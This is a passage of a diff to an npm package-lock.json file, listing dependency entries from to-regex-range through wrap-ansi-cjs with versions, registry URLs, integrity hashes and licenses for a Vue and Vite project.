"node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tough-cookie": { + "version": "4.1.4", + "resolved": "https://registry.npmmirror.com/tough-cookie/-/tough-cookie-4.1.4.tgz", + "integrity": "sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tough-cookie/node_modules/universalify": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/tr46": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/tr46/-/tr46-3.0.0.tgz", + "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true, + "license": "0BSD" + }, + "node_modules/tsutils": { + "version": "3.21.0", + "resolved": "https://registry.npmmirror.com/tsutils/-/tsutils-3.21.0.tgz", + "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^1.8.1" + }, + "engines": { + "node": ">= 6" + }, + "peerDependencies": { + "typescript": ">=2.8.0 || >= 3.2.0-dev || >= 3.3.0-dev || >= 3.4.0-dev || >= 3.5.0-dev || >= 3.6.0-dev || >= 3.6.0-beta || >= 3.7.0-dev || >= 3.7.0-beta" + } + }, + "node_modules/tsutils/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true, + "license": "0BSD" + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmmirror.com/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmmirror.com/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==", + "dev": true, + "license": "Unlicense" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-detect": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/type-detect/-/type-detect-4.1.0.tgz", + "integrity": "sha512-Acylog8/luQ8L7il+geoSxhEkazvkslg7PSNKOX59mbB9cOveP5aq9h74Y7YU8yDpJwetzQQrfIwtf4Wp4LKcw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/typed-array-buffer": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz", + "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/typed-array-byte-length": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz", + "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-byte-offset": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz", + "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.15", + "reflect.getprototypeof": "^1.0.9" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-length": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/typed-array-length/-/typed-array-length-1.0.7.tgz", + "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "is-typed-array": "^1.1.13", + "possible-typed-array-names": "^1.0.0", + "reflect.getprototypeof": "^1.0.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typescript": { + "version": "4.7.4", + "resolved": "https://registry.npmmirror.com/typescript/-/typescript-4.7.4.tgz", + "integrity": "sha512-C0WQT0gezHuw6AdY1M2jxUO83Rjf0HP7Sk1DtXj6j1EwkQNZrHAg2XPWlq62oqEhYvONq5pkC2Y9oPljWToLmQ==", + "devOptional": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/unbox-primitive": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/unbox-primitive/-/unbox-primitive-1.1.0.tgz", + "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-bigints": "^1.0.2", + "has-symbols": "^1.1.0", + "which-boxed-primitive": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/undici-types": { + "version": "5.26.5", + "resolved": "https://registry.npmmirror.com/undici-types/-/undici-types-5.26.5.tgz", + "integrity": "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==", + "dev": true, + "license": "MIT" + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/untildify": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/untildify/-/untildify-4.0.0.tgz", + "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmmirror.com/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmmirror.com/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT" + }, + "node_modules/uuid": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-13.0.0.tgz", + "integrity": "sha512-XQegIaBTVUjSHliKqcnFqYypAd4S+WCYt5NIeRs6w/UAry7z8Y9j5ZwRRL4kzq9U3sD6v+85er9FvkEaBpji2w==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist-node/bin/uuid" + } + }, + "node_modules/validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/verror": { + "version": "1.10.0", + "resolved": "https://registry.npmmirror.com/verror/-/verror-1.10.0.tgz", + "integrity": "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "node_modules/vite": { + "version": "4.5.9", + "resolved": "https://registry.npmmirror.com/vite/-/vite-4.5.9.tgz", + "integrity": "sha512-qK9W4xjgD3gXbC0NmdNFFnVFLMWSNiR3swj957yutwzzN16xF/E7nmtAyp1rT9hviDroQANjE4HK3H4WqWdFtw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.18.10", + "postcss": "^8.4.27", + "rollup": "^3.27.1" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + }, + "peerDependencies": { + "@types/node": ">= 14", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/vitest": { + "version": "0.25.8", + "resolved": "https://registry.npmmirror.com/vitest/-/vitest-0.25.8.tgz", + "integrity": "sha512-X75TApG2wZTJn299E/TIYevr4E9/nBo1sUtZzn0Ci5oK8qnpZAZyhwg0qCeMSakGIWtc6oRwcQFyFfW14aOFWg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/chai": "^4.3.4", + "@types/chai-subset": "^1.3.3", + "@types/node": "*", + "acorn": "^8.8.1", + "acorn-walk": "^8.2.0", + "chai": "^4.3.7", + "debug": "^4.3.4", + "local-pkg": "^0.4.2", + "source-map": "^0.6.1", + "strip-literal": "^1.0.0", + "tinybench": "^2.3.1", + "tinypool": "^0.3.0", + "tinyspy": "^1.0.2", + "vite": "^3.0.0 || ^4.0.0" + }, + "bin": { + "vitest": "vitest.mjs" + }, + "engines": { + "node": ">=v14.16.0" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@edge-runtime/vm": "*", + "@vitest/browser": "*", + "@vitest/ui": "*", + "happy-dom": "*", + "jsdom": "*" + }, + "peerDependenciesMeta": { + "@edge-runtime/vm": { + "optional": true + }, + "@vitest/browser": { + "optional": true + }, + "@vitest/ui": { + "optional": true + }, + "happy-dom": { + "optional": true + }, + "jsdom": { + "optional": true + } + } + }, + "node_modules/vue": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/vue/-/vue-3.5.13.tgz", + "integrity": "sha512-wmeiSMxkZCSc+PM2w2VRsOYAZC8GdipNFRTsLSfodVqI9mbejKeXEGr8SckuLnrQPGe3oJN5c3K0vpoU9q/wCQ==", + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.13", + "@vue/compiler-sfc": "3.5.13", + "@vue/runtime-dom": "3.5.13", + "@vue/server-renderer": "3.5.13", + "@vue/shared": "3.5.13" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/vue-component-type-helpers": { + "version": "2.2.8", + "resolved": "https://registry.npmmirror.com/vue-component-type-helpers/-/vue-component-type-helpers-2.2.8.tgz", + "integrity": "sha512-4bjIsC284coDO9om4HPA62M7wfsTvcmZyzdfR0aUlFXqq4tXxM1APyXpNVxPC8QazKw9OhmZNHBVDA6ODaZsrA==", + "dev": true, + "license": "MIT" + }, + "node_modules/vue-demi": { + "version": "0.14.10", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz", + "integrity": "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/vue-eslint-parser": { + "version": "9.4.3", + "resolved": "https://registry.npmmirror.com/vue-eslint-parser/-/vue-eslint-parser-9.4.3.tgz", + "integrity": "sha512-2rYRLWlIpaiN8xbPiDyXZXRgLGOtWxERV7ND5fFAv5qo1D2N9Fu9MNajBNc6o13lZ+24DAWCkQCvj4klgmcITg==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.3.4", + "eslint-scope": "^7.1.1", + "eslint-visitor-keys": "^3.3.0", + "espree": "^9.3.1", + "esquery": "^1.4.0", + "lodash": "^4.17.21", + "semver": "^7.3.6" + }, + "engines": { + "node": "^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + }, + "peerDependencies": { + "eslint": ">=6.0.0" + } + }, + "node_modules/vue-eslint-parser/node_modules/eslint-scope": { + "version": "7.2.2", + "resolved": "https://registry.npmmirror.com/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/vue-eslint-parser/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/vue-i18n": { + "version": "10.0.6", + "resolved": "https://registry.npmmirror.com/vue-i18n/-/vue-i18n-10.0.6.tgz", + "integrity": "sha512-pQPspK5H4srzlu+47+HEY2tmiY3GyYIvSPgSBdQaYVWv7t1zj1t9p1FvHlxBXyJ17t9stG/Vxj+pykrvPWBLeQ==", + "license": "MIT", + "dependencies": { + "@intlify/core-base": "10.0.6", + "@intlify/shared": "10.0.6", + "@vue/devtools-api": "^6.5.0" + }, + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://github.com/sponsors/kazupon" + }, + "peerDependencies": { + "vue": "^3.0.0" + } + }, + "node_modules/vue-router": { + "version": "4.5.0", + "resolved": "https://registry.npmmirror.com/vue-router/-/vue-router-4.5.0.tgz", + "integrity": "sha512-HDuk+PuH5monfNuY+ct49mNmkCRK4xJAV9Ts4z9UFc4rzdDnxQLyCMGGc8pKhZhHTVzfanpNwB/lwqevcBwI4w==", + "license": "MIT", + "dependencies": { + "@vue/devtools-api": "^6.6.4" + }, + "funding": { + "url": "https://github.com/sponsors/posva" + }, + "peerDependencies": { + "vue": "^3.2.0" + } + }, + "node_modules/vue-scrollto": { + "version": "2.20.0", + "resolved": "https://registry.npmmirror.com/vue-scrollto/-/vue-scrollto-2.20.0.tgz", + "integrity": "sha512-7i+AGKJTThZnMEkhIPgrZjyAX+fXV7/rGdg+CV283uZZwCxwiMXaBLTmIc5RTA4uwGnT+E6eJle3mXQfM2OD3A==", + "license": "MIT", + "dependencies": { + "bezier-easing": "2.1.0" + } + }, + "node_modules/vue-template-compiler": { + "version": "2.7.16", + "resolved": "https://registry.npmmirror.com/vue-template-compiler/-/vue-template-compiler-2.7.16.tgz", + "integrity": "sha512-AYbUWAJHLGGQM7+cNTELw+KsOG9nl2CnSv467WobS5Cv9uk3wFcnr1Etsz2sEIHEZvw1U+o9mRlEO6QbZvUPGQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "de-indent": "^1.0.2", + "he": "^1.2.0" + } + }, + "node_modules/vue-tsc": { + "version": "1.8.27", + "resolved": "https://registry.npmmirror.com/vue-tsc/-/vue-tsc-1.8.27.tgz", + "integrity": "sha512-WesKCAZCRAbmmhuGl3+VrdWItEvfoFIPXOvUJkjULi+x+6G/Dy69yO3TBRJDr9eUlmsNAwVmxsNZxvHKzbkKdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/typescript": "~1.11.1", + "@vue/language-core": "1.8.27", + "semver": "^7.5.4" + }, + "bin": { + "vue-tsc": "bin/vue-tsc.js" + }, + "peerDependencies": { + "typescript": "*" + } + }, + "node_modules/w3c-xmlserializer": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/w3c-xmlserializer/-/w3c-xmlserializer-4.0.0.tgz", + "integrity": "sha512-d+BFHzbiCx6zGfz0HyQ6Rg69w9k19nviJspaj4yNscGjrHu94sVP+aRm75yEbCh+r2/yR+7q6hux9LVtbuTGBw==", + "dev": true, + "license": "MIT", + "dependencies": { + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/wait-on": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/wait-on/-/wait-on-7.0.1.tgz", + "integrity": "sha512-9AnJE9qTjRQOlTZIldAaf/da2eW0eSRSgcqq85mXQja/DW3MriHxkpODDSUEg+Gri/rKEcXUZHe+cevvYItaog==", + "dev": true, + "license": "MIT", + "dependencies": { + "axios": "^0.27.2", + "joi": "^17.7.0", + "lodash": "^4.17.21", + "minimist": "^1.2.7", + "rxjs": "^7.8.0" + }, + "bin": { + "wait-on": "bin/wait-on" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/wait-on/node_modules/axios": { + "version": "0.27.2", + "resolved": "https://registry.npmmirror.com/axios/-/axios-0.27.2.tgz", + "integrity": "sha512-t+yRIyySRTp/wua5xEr+z1q60QmLq8ABsS5O9Me1AsE5dfKqgnCFzwiCZZ/cGNd1lq4/7akDWMxdhVlucjmnOQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.14.9", + "form-data": "^4.0.0" + } + }, + "node_modules/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-encoding": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", + "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", + "dev": true, + "license": "MIT", + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-mimetype": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", + "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-url": { + "version": "11.0.0", + "resolved": "https://registry.npmmirror.com/whatwg-url/-/whatwg-url-11.0.0.tgz", + "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz", + "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-bigint": "^1.1.0", + "is-boolean-object": "^1.2.1", + "is-number-object": "^1.1.1", + "is-string": "^1.1.1", + "is-symbol": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/which-builtin-type/-/which-builtin-type-1.2.1.tgz", + "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "function.prototype.name": "^1.1.6", + "has-tostringtag": "^1.0.2", + "is-async-function": "^2.0.0", + "is-date-object": "^1.1.0", + "is-finalizationregistry": "^1.1.0", + "is-generator-function": "^1.0.10", + "is-regex": "^1.2.1", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.1.0", + "which-collection": "^1.0.2", + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-collection": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/which-collection/-/which-collection-1.0.2.tgz", + "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-map": "^2.0.3", + "is-set": "^2.0.3", + "is-weakmap": "^2.0.2", + "is-weakset": "^2.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.19", + "resolved": "https://registry.npmmirror.com/which-typed-array/-/which-typed-array-1.1.19.tgz", + "integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==", + "dev": true, + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "for-each": "^0.3.5", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmmirror.com/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": 